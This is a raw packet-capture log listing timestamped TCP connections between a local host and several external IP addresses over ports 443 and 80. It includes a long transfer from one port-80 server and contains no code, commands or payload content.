Nov 21, 2024 03:09:07.426357985 CET	443	49802	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:07.429481030 CET	443	49802	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:07.429557085 CET	49802	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:07.429639101 CET	49802	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:07.429660082 CET	443	49802	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:07.429673910 CET	49802	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:07.429681063 CET	443	49802	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:07.432202101 CET	49809	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:07.432224989 CET	443	49809	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:07.432322025 CET	49809	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:07.432468891 CET	49809	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:07.432483912 CET	443	49809	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:07.463078976 CET	443	49804	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:07.466200113 CET	443	49804	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:07.466259003 CET	49804	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:07.466268063 CET	443	49804	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:07.466279984 CET	443	49804	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:07.466347933 CET	49804	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:07.466382980 CET	49804	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:07.466382980 CET	49804	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:07.466392040 CET	443	49804	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:07.466398954 CET	443	49804	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:07.468657017 CET	49810	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:07.468724966 CET	443	49810	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:07.468811035 CET	49810	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:07.468957901 CET	49810	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:07.468991995 CET	443	49810	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:07.506650925 CET	443	49805	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:07.509793043 CET	443	49805	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:07.509856939 CET	49805	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:07.509917974 CET	49805	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:07.509941101 CET	443	49805	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:07.509952068 CET	49805	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:07.509957075 CET	443	49805	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:07.512015104 CET	49811	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:07.512037992 CET	443	49811	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:07.512104034 CET	49811	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:07.512217999 CET	49811	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:07.512226105 CET	443	49811	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:07.516436100 CET	80	49801	185.215.113.43	192.168.2.5
Nov 21, 2024 03:09:07.516489983 CET	80	49808	185.215.113.43	192.168.2.5
Nov 21, 2024 03:09:07.516520023 CET	49801	80	192.168.2.5	185.215.113.43
Nov 21, 2024 03:09:07.516549110 CET	49808	80	192.168.2.5	185.215.113.43
Nov 21, 2024 03:09:07.516727924 CET	49808	80	192.168.2.5	185.215.113.43
Nov 21, 2024 03:09:07.518019915 CET	443	49803	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:07.521017075 CET	443	49803	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:07.521069050 CET	49803	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:07.521387100 CET	49803	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:07.521397114 CET	443	49803	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:07.521406889 CET	49803	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:07.521410942 CET	443	49803	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:07.523329020 CET	49812	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:07.523350954 CET	443	49812	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:07.523412943 CET	49812	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:07.523508072 CET	49812	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:07.523514986 CET	443	49812	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:07.636131048 CET	80	49808	185.215.113.43	192.168.2.5
Nov 21, 2024 03:09:07.708503962 CET	443	49806	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:07.711534977 CET	443	49806	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:07.711585999 CET	49806	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:07.711596966 CET	443	49806	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:07.711613894 CET	443	49806	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:07.711669922 CET	49806	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:07.740259886 CET	49806	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:07.740268946 CET	443	49806	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:07.740281105 CET	49806	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:07.740287066 CET	443	49806	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:07.744513988 CET	49813	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:07.744529009 CET	443	49813	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:07.744590044 CET	49813	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:07.744890928 CET	49813	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:07.744904995 CET	443	49813	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:08.873096943 CET	80	49808	185.215.113.43	192.168.2.5
Nov 21, 2024 03:09:08.873325109 CET	49808	80	192.168.2.5	185.215.113.43
Nov 21, 2024 03:09:08.877263069 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:08.936881065 CET	443	49807	4.175.87.197	192.168.2.5
Nov 21, 2024 03:09:08.937082052 CET	49807	443	192.168.2.5	4.175.87.197
Nov 21, 2024 03:09:08.941503048 CET	49807	443	192.168.2.5	4.175.87.197
Nov 21, 2024 03:09:08.941513062 CET	443	49807	4.175.87.197	192.168.2.5
Nov 21, 2024 03:09:08.941847086 CET	443	49807	4.175.87.197	192.168.2.5
Nov 21, 2024 03:09:08.953094006 CET	49807	443	192.168.2.5	4.175.87.197
Nov 21, 2024 03:09:08.995359898 CET	443	49807	4.175.87.197	192.168.2.5
Nov 21, 2024 03:09:08.996809959 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:08.996954918 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:08.997102022 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:09.116890907 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:09.276340961 CET	443	49809	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:09.276943922 CET	49809	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:09.276956081 CET	443	49809	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:09.277400017 CET	49809	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:09.277405977 CET	443	49809	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:09.309494019 CET	443	49812	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:09.309966087 CET	49812	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:09.309984922 CET	443	49812	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:09.310401917 CET	49812	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:09.310408115 CET	443	49812	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:09.333895922 CET	443	49810	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:09.334223986 CET	49810	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:09.334240913 CET	443	49810	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:09.334628105 CET	49810	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:09.334633112 CET	443	49810	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:09.357969999 CET	443	49811	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:09.358447075 CET	49811	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:09.358455896 CET	443	49811	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:09.358830929 CET	49811	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:09.358836889 CET	443	49811	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:09.525491953 CET	443	49813	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:09.526345015 CET	49813	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:09.526360989 CET	443	49813	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:09.526700020 CET	49813	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:09.526705027 CET	443	49813	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:09.674587011 CET	443	49807	4.175.87.197	192.168.2.5
Nov 21, 2024 03:09:09.674618006 CET	443	49807	4.175.87.197	192.168.2.5
Nov 21, 2024 03:09:09.674637079 CET	443	49807	4.175.87.197	192.168.2.5
Nov 21, 2024 03:09:09.674689054 CET	49807	443	192.168.2.5	4.175.87.197
Nov 21, 2024 03:09:09.674721956 CET	443	49807	4.175.87.197	192.168.2.5
Nov 21, 2024 03:09:09.674741983 CET	49807	443	192.168.2.5	4.175.87.197
Nov 21, 2024 03:09:09.674762011 CET	49807	443	192.168.2.5	4.175.87.197
Nov 21, 2024 03:09:09.717031956 CET	443	49807	4.175.87.197	192.168.2.5
Nov 21, 2024 03:09:09.717072010 CET	443	49807	4.175.87.197	192.168.2.5
Nov 21, 2024 03:09:09.717123032 CET	49807	443	192.168.2.5	4.175.87.197
Nov 21, 2024 03:09:09.717128992 CET	443	49807	4.175.87.197	192.168.2.5
Nov 21, 2024 03:09:09.717161894 CET	49807	443	192.168.2.5	4.175.87.197
Nov 21, 2024 03:09:09.717183113 CET	49807	443	192.168.2.5	4.175.87.197
Nov 21, 2024 03:09:09.717361927 CET	49807	443	192.168.2.5	4.175.87.197
Nov 21, 2024 03:09:09.717376947 CET	443	49807	4.175.87.197	192.168.2.5
Nov 21, 2024 03:09:09.717396021 CET	49807	443	192.168.2.5	4.175.87.197
Nov 21, 2024 03:09:09.717402935 CET	443	49807	4.175.87.197	192.168.2.5
Nov 21, 2024 03:09:09.731178999 CET	443	49809	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:09.734347105 CET	443	49809	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:09.734409094 CET	49809	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:09.734513044 CET	49809	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:09.734513044 CET	49809	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:09.734532118 CET	443	49809	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:09.734545946 CET	443	49809	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:09.737118959 CET	49815	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:09.737143040 CET	443	49815	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:09.737220049 CET	49815	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:09.737380028 CET	49815	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:09.737395048 CET	443	49815	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:09.751986980 CET	443	49812	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:09.755264997 CET	443	49812	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:09.755337000 CET	49812	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:09.755350113 CET	443	49812	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:09.755420923 CET	443	49812	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:09.755472898 CET	49812	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:09.769690037 CET	49812	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:09.769712925 CET	443	49812	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:09.769723892 CET	49812	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:09.769730091 CET	443	49812	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:09.773186922 CET	49816	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:09.773237944 CET	443	49816	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:09.773310900 CET	49816	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:09.773690939 CET	49816	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:09.773708105 CET	443	49816	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:09.790337086 CET	443	49810	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:09.793546915 CET	443	49810	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:09.793616056 CET	49810	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:09.793685913 CET	49810	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:09.793706894 CET	443	49810	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:09.793718100 CET	49810	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:09.793723106 CET	443	49810	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:09.796291113 CET	49817	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:09.796319962 CET	443	49817	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:09.796397924 CET	49817	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:09.796530962 CET	49817	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:09.796544075 CET	443	49817	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:09.810810089 CET	443	49811	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:09.813884020 CET	443	49811	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:09.813965082 CET	49811	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:09.814101934 CET	49811	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:09.814101934 CET	49811	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:09.814114094 CET	443	49811	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:09.814127922 CET	443	49811	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:09.816642046 CET	49818	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:09.816672087 CET	443	49818	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:09.816744089 CET	49818	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:09.816838980 CET	49818	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:09.816854000 CET	443	49818	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:09.968578100 CET	443	49813	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:09.968696117 CET	443	49813	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:09.968755007 CET	49813	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:09.971055984 CET	49813	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:09.971065998 CET	443	49813	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:09.971076012 CET	49813	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:09.971080065 CET	443	49813	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:09.976054907 CET	49819	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:09.976078033 CET	443	49819	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:09.976140976 CET	49819	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:09.978691101 CET	49819	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:09.978703022 CET	443	49819	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:10.375828028 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.375896931 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.375947952 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.375956059 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.376003981 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.376029015 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.376029968 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.376066923 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.376080990 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.376104116 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.376132011 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.376138926 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.376159906 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.376173973 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.376190901 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.376207113 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.376228094 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.376251936 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.376260996 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.376311064 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.496918917 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.496985912 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.497040987 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.497097969 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.501038074 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.501108885 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.501151085 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.501202106 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.577116966 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.577188015 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.577243090 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.577305079 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.581264019 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.581326962 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.581407070 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.581459045 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.589695930 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.589761972 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.589840889 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.589952946 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.598068953 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.598129034 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.598192930 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.598288059 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.606439114 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.606503963 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.606595039 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.606648922 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.614820004 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.614881039 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.614913940 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.614989996 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.623193026 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.623250961 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.623338938 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.623397112 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.631571054 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.631640911 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.631722927 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.631777048 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.640010118 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.640074015 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.640141010 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.640196085 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.647308111 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.647380114 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.647437096 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.647489071 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.654652119 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.654736042 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.654778957 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.654830933 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.661900043 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.661967993 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.662008047 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.662059069 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.778249979 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.778454065 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.778466940 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.778510094 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.780657053 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.780718088 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.781543016 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.781600952 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.781677961 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.781732082 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.786478043 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.786591053 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.786628008 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.786678076 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.791423082 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.791511059 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.791563988 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.791599035 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.796035051 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.796156883 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.796226978 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.800741911 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.800832987 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.800899029 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.805428982 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.805552959 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.805618048 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.810101986 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.810271978 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.810327053 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.814806938 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.814913034 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.815006018 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.819524050 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.819657087 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.819730043 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.824191093 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.824371099 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.824436903 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.828871965 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.828986883 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.829068899 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.833611012 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.833738089 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.833827019 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.838258028 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.838418961 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.838597059 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.842983007 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.843101025 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.843167067 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.847687006 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.847775936 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.847860098 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.852313042 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.852402925 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.852478981 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.857036114 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.857147932 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.857218981 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.861732006 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.861860037 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.861953020 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.866398096 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.866503954 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.866528034 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.866575956 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.871117115 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.871208906 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.871294975 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:10.875785112 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.875905037 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:10.875993967 CET	49814	80	192.168.2.5	31.41.244.11
